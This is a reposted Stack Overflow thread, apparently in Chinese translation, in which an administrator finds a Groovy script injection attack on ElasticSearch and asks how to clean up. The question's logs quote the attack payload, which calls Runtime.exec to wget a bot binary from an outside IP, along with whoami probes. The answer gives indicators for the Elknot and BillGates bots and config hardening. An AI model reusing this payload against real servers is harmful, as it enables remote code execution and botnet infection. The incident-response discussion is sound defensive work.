gpt4 book ai didi

groovy - ElasticSearch Groovy 脚本错误,可疑请求

转载 作者:行者123 更新时间:2023-11-29 02:53:07 25 4
gpt4 key购买 nike

我刚刚更新到 ElasticSearch 1.7.1 并正在填充数据库。虽然我不断收到以下错误(或调试消息):

[2015-08-09 03:20:23,429][DEBUG][action.search.type       ] [NODE_NAME] [index_name][0], node[vw6fq_XPSuWsBWHN6aKepw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@6dee1ca] lastShard [true]
org.elasticsearch.search.SearchParseException: [index_name][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:483)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731)
... 9 more

起初,我想过修复这个错误,但我还没有编写任何 Groovy 脚本。所以我开始阅读这条消息,发现:

Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()

IP让我很困惑,因为它不是我的(它是中文的)。所以我将 wget 沙盒化,并创建了一个字符串(来自 byte []),结果是:

CC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3) GCC: (GNU) 4.4.6 20120305 (Red Hat 4.4.6-4)  .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment   
crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.5972 dtor_idx.5974 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux main.c rdtsc _GLOBAL_OFFSET_TABLE_ __init_array_end __init_array_start _DYNAMIC GET_Flood data_start __errno_location@@GLIBC_2.0 srand@@GLIBC_2.0 connect@@GLIBC_2.0 getpid@@GLIBC_2.0 pthread_join@@GLIBC_2.0 strerror@@GLIBC_2.0 __libc_csu_fini sysconf@@GLIBC_2.0 _start pthread_exit@@GLIBC_2.0 Get_Net_Message CreateTimeer random@@GLIBC_2.0 Send_Host_Message signal@@GLIBC_2.0 NetSpeed __gmon_start__ _Jv_RegisterClasses _fp_hw rewind@@GLIBC_2.0 __isoc99_sscanf@@GLIBC_2.7 DoorThread SynFLood_Message _fini inet_addr@@GLIBC_2.0 write@@GLIBC_2.0 sendto@@GLIBC_2.0 fgets@@GLIBC_2.0 memset@@GLIBC_2.0 AnalysisAddress getOutRates UDP_Flood __libc_start_main@@GLIBC_2.0 uname@@GLIBC_2.0 htons@@GLIBC_2.0 read@@GLIBC_2.0 perror@@GLIBC_2.0 usleep@@GLIBC_2.0 SYN_Flood _IO_stdin_used gettimeofday@@GLIBC_2.0 Stream_Flood id ServerConnectCli __data_start TurnonKeepAlive DoorSocket ioctl@@GLIBC_2.0 socket@@GLIBC_2.0 getNetRates fclose@@GLIBC_2.1 bcopy@@GLIBC_2.0 GetCpuRates SetDNSHead memcpy@@GLIBC_2.0 strlen@@GLIBC_2.0 MainThread DealwithDDoS fopen@@GLIBC_2.1 _SendInfo __dso_handle strcpy@@GLIBC_2.0 __DTOR_END__ __libc_csu_init printf@@GLIBC_2.0 StopFlag DNS_Flood select@@GLIBC_2.0 close@@GLIBC_2.0 MainSocket strstr@@GLIBC_2.0 time@@GLIBC_2.0 ICMP_Flood m_OnlineInfo _ConnectServer __bss_start CpuSpeed pthread_create@@GLIBC_2.1 sleep@@GLIBC_2.0 __ConnectServer send@@GLIBC_2.0 _end puts@@GLIBC_2.0 _ServerConnectCli setsockopt@@GLIBC_2.0 ChName rand@@GLIBC_2.0 bzero@@GLIBC_2.0 usage netuse CheckSum fread@@GLIBC_2.0 getsockopt@@GLIBC_2.0 SendSpeed _edata snprintf@@GLIBC_2.0 gethostbyname@@GLIBC_2.0 exit@@GLIBC_2.0 __i686.get_pc_thunk.bx main Get_Cpu_Message _init

所以我找到了 c 代码,我发现 DealWithDDos 调用很有趣。

我无法找出这是什么代码,它来自哪里,以及它为什么要运行。有谁知道这是什么吗?以及如何摆脱它?

PS,我还收到了另一条错误消息,这是另一个调用 exec(\"whoami\") 的奇怪脚本。此代码,根据 ends.cc用于通过执行系统命令来尝试取消 Groovy 的沙盒。
exec(\"echo qq952135763\"),唯一匹配的是(等等……)中文……

更新

因此,感谢 Val 的评论,问题制定者:Chinese Botnet .僵尸网络报告 ElasticSearch:The Elastic Botnet Report

此外,由于我刚刚更新了 ElasticSearch,创建了全新的索引(一切都是新的),我已经从外部排除了 ES(对于漏洞来说显然为时已晚,但仍然如此),所以必须运行一些进程来发送请求 ES。哪个?从哪里调用脚本?

(值得注意的)更新 2

更新中描述的报告中,他们描述了 2 个(相关的)针对 ElasticSearch 的恶意软件产品:BillGatesElknot

Elknot 上值得注意的是 第 7 页 的最后一段:

The authors of the Elknot dropper did not provide any means for persistence after a reboot, and once the victim’s machine is rebooted by an administrator, or system crash, the infection ceases.

BillGates 恶意软件:您可以通过(引自 3 最后一页:

One common indicator of a BillGates infection is the existence of /tmp/moni.lock as well as /tmp/bill.lock files on the victim’s machine. Additionally, directories off the /usr/bin directory containing the name bsd-port may be suspect.

不过,如何摆脱它呢?

  • Elknot -> 重启所有服务器(同时!)
  • BillGates -> 建议在检测到这种形式的恶意软件时重新安装 3

最佳答案

稍后更新
事先说明:由于某种原因,这个线程仍然被访问,这导致我警告,尽快将 ElasticSearch 升级到 > 1.5。确保 {your_external_ip}:{port} 不能从本地主机以外的任何地方调用 - 如果有的话。最后,请注意使用 Groovy,尤其是在沙盒之外。


原始答案

所以这里出现了两个不同的问题:
1) 正如@Val 指出的那样,中国僵尸网络捕获了我(事后看来,他们之前捕获了我,但我没有运行默认禁用脚本的 ElasticSearch 版本)。 Novetta 调查了这个僵尸网络他们发现两个主要脚本在运行(当计算机已被感染时):ElknotBillGates - 它们共享一些代码。 (他们发现了 10 种不同的脚本来尝试感染服务器,并不是所有的都是高质量的(参见页面 41-54 1)

两者之间的一个很大区别是,Elknot 更简单,因为它不会尝试变得持久,而 BillGates 会。要找出您拥有这些版本中的哪一个,您可以执行以下操作:

  • 执行重启。当(几个小时后)系统没有显示奇怪的事件时 (wget -o),您有 Elknot,否则您可能有 BillGates
  • 因为,与 Elknot 相比,BillGates 是持久的,您可以在以下位置看到它的签名:/tmp/{moni.lock, notify .file, gates.lock, bill.lock,你必须能够在:/etc/rc?.d 目录文件 SDbSecuritySpt97 中看到它, /etc/resolv.conf(见25-31 1),使用lsof命令(见39- 41 1 )

幸运的是,对我来说,我似乎有 elknot,所以我不需要重新安装。但我仍然收到类似的警告消息,包括对 whoamiecho qq{some numbers} 的运行时调用。为什么?

因为一个已知的漏洞(如问题中的更新所述)是 Groovy 脚本调用系统命令时。这可以取消对脚本的沙盒处理,赋予它强大的功能。

reboot 没有解决这个问题,因为它只是停止了 elknot。显然还有其他问题。我发现我仍然可以通过 HTTP 调用 external.ip.address:9200 来获得响应。此外,从外部来源,我可以将一个节点绑定(bind)到网络——愚蠢(我想我几个月前就解决了)。为了解决这个问题,请注意 elasticsearch.yml 中的以下设置:

############## HTTP ################
#at least
http.host: localhost
#preferrably disable http entirely. Http is unnecessary on the data nodes, since they communicate over the transport
http.enabled: false

########### TRANSPORT ##############
# local only. Without this property everybody in the world can connect to your ES
transport.host: ["192.168.0.10","localhost"]

关于groovy - ElasticSearch Groovy 脚本错误,可疑请求,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31913470/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com